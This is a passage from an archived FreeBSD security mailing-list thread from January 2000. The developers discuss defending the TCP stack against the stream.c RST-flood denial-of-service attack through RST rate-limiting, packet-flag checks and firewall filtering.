disappointed if their upstream didn't block > all but their assigned C class in. > > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." > FreeBSD -- It will take a long time before progress goes too far! > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 18:37:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 1D69114F8F for ; Sat, 22 Jan 2000 18:37:24 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id SAA26879; Sat, 22 Jan 2000 18:37:18 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id SAA58466; Sat, 22 Jan 2000 18:37:18 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id SAA18373; Sat, 22 Jan 2000 18:37:17 -0800 (PST) From: Don Lewis Message-Id: <200001230237.SAA18373@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 18:37:17 -0800 In-Reply-To: <4.2.2.20000122071745.019bc4d0@localhost> References: <4.2.2.20000122071745.019bc4d0@localhost> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , Jason Young Subject: RE: Some observations on stream.c and streamnt.c Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 7:50am, Brett Glass wrote: } Subject: RE: Some observations on stream.c and streamnt.c } >Envision a situation where somebody accidentally bumps the Big Red Button on } >ftp.cdrom.com, and immediately brings it back up. If it rate-limited its } >outgoing RSTs and hit this limit momentarily (and I really think this would } >be unlikely in the extreme if the RST rate-limiting threshold is } >reasonable), } } Would it be? Let's suppose that ftp.cdrom.com was handling 5000 connections } when you hit the switch. Within a second, you'd get AT LEAST 5000 packets to } which you'd need to respond with RSTs. Almost certainly more, due to } windowing. Actually, that's not true in this case because most of the clients will be doing downloads. The clients will only send packets upstream to ack the data they receive and to send download requests. While ftp.cdrom.com was comatose, the clients will probably all have acked the packets that were in flight and they will assume that ftp.cdrom.com will have seen these acks. For most of the clients, their downloads will appear to hang, and they will only find out that ftp.cdrom.com rebooted when they try to tell ftp.cdrom.com to abort the download. If the client is using TCP keepalives, it will eventually send a packet to ftp.cdrom.com on the stalled connection and will find out that ftp.cdrom.com rebooted when they get the RST, but the keepalive timer won't send a packet for quite a while, so this won't produce a flood of packets right after reboot. Clients sitting at the ftp prompt will find out the bad news as soon as they send their next ftp command. If a client downloading data from ftp.cdrom.com reboots and has RST totally disabled, this will stall the download of data and ftp.cdrom.com will keep resending the data until it eventually times out the connection because it never got an ACK. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 18:47:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 1F92914D78 for ; Sat, 22 Jan 2000 18:47:42 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id SAA26919; Sat, 22 Jan 2000 18:47:39 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id SAA58488; Sat, 22 Jan 2000 18:47:38 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id SAA18398; Sat, 22 Jan 2000 18:47:38 -0800 (PST) From: Don Lewis Message-Id: <200001230247.SAA18398@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 18:47:38 -0800 In-Reply-To: <4.2.2.20000122081057.01992100@localhost> References: <4.2.2.20000122002353.019b9c10@localhost> <4.2.2.20000122081057.01992100@localhost> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 8:19am, Brett Glass wrote: } Subject: Re: stream.c worst-case kernel paths } RST+SYN and RST+FIN should definitely be dropped. I don't know what } one would do with RST+URG or RST+PSH; I would tend to think that } one would want to drop these rather than letting them modify } the state of any connection, since they could be part of an } attack. It's probably not worth the code to handle these in any special way. The FIN, URG, and PSH bits are looked at except for normal data packets that have gotten pretty far into the code. If the RST bit is set, the packet will be diverted into a different path. To do any harm with any of these bits, an attacker has to be able to be able to get past the sequence number checks, and if the attacker can to that the game is over no matter what sort of additional sanity checks one tries to implement. The only real additional protection is called IPSEC. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 18:58:22 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 91A5314A10; Sat, 22 Jan 2000 18:58:21 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 7EF2C1CD67D; Sat, 22 Jan 2000 18:58:21 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Sat, 22 Jan 2000 18:58:21 -0800 (PST) From: Kris Kennaway To: "Dan Seafeldt, AZ.COM System Administrator" Cc: security@FreeBSD.org Subject: Re: Microsoft Windows Update In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 22 Jan 2000, Dan Seafeldt, AZ.COM System Administrator wrote: > becomes a permanent thing running in the background. The Windows update > website does not seem to consider the timing of the posting of security > breach details or descriptions. The patches usually show up on Windows Update several days to weeks after Microsoft puts out the advisory, which is usually several weeks to months after the problem is first publicized. If we were to implement a system like this, I'm sure we could do better ;-) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 19: 6:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id CA8C115029 for ; Sat, 22 Jan 2000 19:06:35 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id TAA27073; Sat, 22 Jan 2000 19:06:27 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id TAA58553; Sat, 22 Jan 2000 19:06:27 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id TAA18458; Sat, 22 Jan 2000 19:06:26 -0800 (PST) From: Don Lewis Message-Id: <200001230306.TAA18458@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 19:06:26 -0800 In-Reply-To: <4.2.2.20000122083929.01a5aa90@localhost> References: <4.2.2.20000122083929.01a5aa90@localhost> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , Don Lewis Subject: Re: Re[2]: explanation and code for stream.c issues Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 8:52am, Brett Glass wrote: } Subject: Re: Re[2]: explanation and code for stream.c issues } True. But y'know, he does have a point. Shouldn't tcp_input() drop } or reject anything with certain combinations of flags really early on? } } About 15 years ago (has it been that long?) I wrote part of a TCP/IP } stack for a class at Stanford. The first statement in the routine } which was the equivalent of tcp_input() checksummed the packet. } The second one was a "case" (this was Pascal) that broke out } cases for every combination of the TCP option flags. (The } compiler implemented case statements as jump tables, so this } was fast.) } } Do you think it's worth doing that here, both for clarity and } for speed? It would probably help to catch all the issues involving } option flags, and it would be more efficient than the current } structure (which does lots of tests one at a time and is harder to } follow). The current code was written for speed rather than for clarity and tries to optimize the most commonly used path through the code. In the old days, CPUs were slow. Today, contemplate gigabit Ethernet ... I suspect that if you try to implement this as a big switch, you'll end up with either a lot of duplicate code or a bunch of gotos, and a lot of what happens depends at least as much on the state of the connection. Don't forget that the SYN and FIN bits can be trimmed off if they fall outside the window. RST is more of a unique case, but even it needs to pass sequence checks that depend on the state of the connection. I'm wondering if it might make more sense to generate IPv4 and IPv6 version unique versions of the code from a common m4 or cpp ancestor rather than to fill the code with a mass of ifdefs and inline protocol version tests. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 19:12:39 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 90FF014F24; Sat, 22 Jan 2000 19:12:29 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id TAA27114; Sat, 22 Jan 2000 19:12:26 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id TAA58575; Sat, 22 Jan 2000 19:12:26 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id TAA18497; Sat, 22 Jan 2000 19:12:25 -0800 (PST) From: Don Lewis Message-Id: <200001230312.TAA18497@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 19:12:25 -0800 In-Reply-To: <200001230306.TAA18458@salsa.gv.tsc.tdk.com> References: <4.2.2.20000122083929.01a5aa90@localhost> <200001230306.TAA18458@salsa.gv.tsc.tdk.com> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Don Lewis , Brett Glass Subject: Re: Re[2]: explanation and code for stream.c issues Cc: freebsd-security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org We really should move this conversation from -security to -net. Followups to -net, only. On Jan 22, 7:06pm, Don Lewis wrote: } Subject: Re: Re[2]: explanation and code for stream.c issues } On Jan 22, 8:52am, Brett Glass wrote: } } Subject: Re: Re[2]: explanation and code for stream.c issues } } } True. But y'know, he does have a point. Shouldn't tcp_input() drop } } or reject anything with certain combinations of flags really early on? } } } } About 15 years ago (has it been that long?) I wrote part of a TCP/IP } } stack for a class at Stanford. The first statement in the routine } } which was the equivalent of tcp_input() checksummed the packet. } } The second one was a "case" (this was Pascal) that broke out } } cases for every combination of the TCP option flags. (The } } compiler implemented case statements as jump tables, so this } } was fast.) } } } } Do you think it's worth doing that here, both for clarity and } } for speed? It would probably help to catch all the issues involving } } option flags, and it would be more efficient than the current } } structure (which does lots of tests one at a time and is harder to } } follow). } } The current code was written for speed rather than for clarity and } tries to optimize the most commonly used path through the code. } In the old days, CPUs were slow. Today, contemplate gigabit Ethernet ... } } I suspect that if you try to implement this as a big switch, you'll } end up with either a lot of duplicate code or a bunch of gotos, and } a lot of what happens depends at least as much on the state of the } connection. Don't forget that the SYN and FIN bits can be trimmed } off if they fall outside the window. RST is more of a unique case, } but even it needs to pass sequence checks that depend on the state } of the connection. } } I'm wondering if it might make more sense to generate IPv4 and IPv6 } version unique versions of the code from a common m4 or cpp ancestor } rather than to fill the code with a mass of ifdefs and inline protocol } version tests. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 22:33:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from staff.accessus.net (staff.accessus.net [209.145.151.3]) by hub.freebsd.org (Postfix) with ESMTP id 3CF6014F3F for ; Sat, 22 Jan 2000 22:33:29 -0800 (PST) (envelope-from jyoung@accessus.net) Received: by staff.accessus.net with Internet Mail Service (5.5.2650.21) id ; Sun, 23 Jan 2000 00:33:28 -0600 Message-ID: From: Jason Young To: 'Brett Glass' , Matthew Dillon , Dag-Erling Smorgrav Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: RE: Some observations on stream.c and streamnt.c Date: Sun, 23 Jan 2000 00:33:27 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > In fact, > using ipfw or ipfilter to impose policy (only the latter can be used > in case of the stream.c exploit) is redundant, since ipfilter must > retain tables of connections which duplicate information stored by > the protocol stack already. Both ipfilter and the kernel correctly drop the packet. The fact that ipfilter is being successfully used to defend against it simply means that it's more efficient at dropping these particular rogue packets. It's my understanding from the list that the main reason the kernel is bogged down by this attack is that it is computationally expensive to generate all the return RSTs required by protocol. ipfilter doesn't send RSTs. Matt Dillon's rate-limiting patch is a form of hardening the TCP/IP stack while maintaining all possible protocol compliance. I agree with this. In the usual case you should stick to protocol, and in a failure or overload or attack situation you should do your best. Personally, I don't understand why people are so antsy about being portscanned or having their OS identified. Yes, it's more information for an attacker. But if you have a security hole, you have a security hole. This is exploitable if the intruder knows you're running XYZ unrelated service or no. See other posts about people simply shotgunning exploits until they work somewhere. People seem to be regarding the fact that you can scan a machine for its open ports to be a fault in its TCP/IP stack. In fact, it is doing what it's supposed to do. If you don't like what it's doing, then that comes back to imposing local policy. > >Drop packets to the ports you're not using and don't want scanned. > > That's fine, and for that reason there should be an option that > doesn't clobber all RSTs. But if you want to hinder scans, you > should also drop some packets going to ports you ARE using. The > overhead to do this in the stack is small. > > Let the admin have his choice of policies. I don't think we should > penalize him or her for disagreeing with someone else. ipfw allows me to make 65,534 choices about policy. :) My whole point is that an admin should be able to do anything they want with ipfw or ipfilter, without us having to meddle with the stack for all FreeBSD users. If there's a general fault that hoses the machine and/or its TCP/IP stack for anyone anywhere, then the stack is in need of help. There are occasions when the stack can't get enough help, like in the case of forged syn floods. I remember back when I was part of the administration staff running the EFNet server irc.anet-stl.com under BSDI 4.0, we came up with a nearly completely safe and effective (but very security-through-obscurity) method for dropping synfloods before they entered TCP processing. I love BSDI's bpf-language filtering. > >Envision a situation where somebody accidentally bumps the > Big Red Button on > >ftp.cdrom.com, and immediately brings it back up. If it > rate-limited its > >outgoing RSTs and hit this limit momentarily (and I really > think this would > >be unlikely in the extreme if the RST rate-limiting threshold is > >reasonable), > > Would it be? Let's suppose that ftp.cdrom.com was handling > 5000 connections > when you hit the switch. Within a second, you'd get AT LEAST > 5000 packets to > which you'd need to respond with RSTs. Almost certainly more, due to > windowing. Any client/server interaction that has pending activity after the reboot will be in some varying stage of exponential backoff or have timed out depending on when the activity took place and how long the server took to "come back". 5000 connections will certainly not result in 5000 packets in one second worth of RST-able client traffic. Many of the clients will not have pending activity. Remember that a client will not be sending data on the ftp-data channel, and that it doesn't expect or wait for a response to ACKs of server-sent data. This means that the server isn't going to have any sort of massive data queue piled up for it. According to my TCP/IP Illustrated Vol. 1, my brief reading of the source, and the default values of net.inet.tcp.keep*, keepalives are not terribly worrisome (we have to be idle for a default of 4 hours). This is a cursory examination of a subject I'm rusty on and I could very well be wrong. Application level timeouts should kick in far sooner. What I'm driving at is that there's almost no _normal_ situation where you could expect to fire off more than a few dozen RSTs a second in a short burst, which is likely lost in the statistical noise as for CPU utilization. > The DoS we're talking about here actually sends a volume of packets of > the same order of magnitude. Certainly not, the DoS attack variant is sending tens of thousands per second continuously. Jason Young accessUS Chief Network Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 22:49:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.dc.ukrtel.net (mail.dc.ukrtel.net [195.5.18.2]) by hub.freebsd.org (Postfix) with ESMTP id CB6EC14EAA for ; Sat, 22 Jan 2000 22:49:17 -0800 (PST) (envelope-from trofim@dc.donetsk.ua) Received: from dc.donetsk.ua (zerg.dc.donetsk.ua [195.5.20.140]) by mail.dc.ukrtel.net (8.9.3/8.9.1) with ESMTP id IAA13140 for ; Sun, 23 Jan 2000 08:49:10 +0200 Message-ID: <388AA498.F12FB5D0@dc.donetsk.ua> Date: Sun, 23 Jan 2000 08:50:00 +0200 From: "Trofim A. Belik" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,ru,uk MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: help Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org help To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message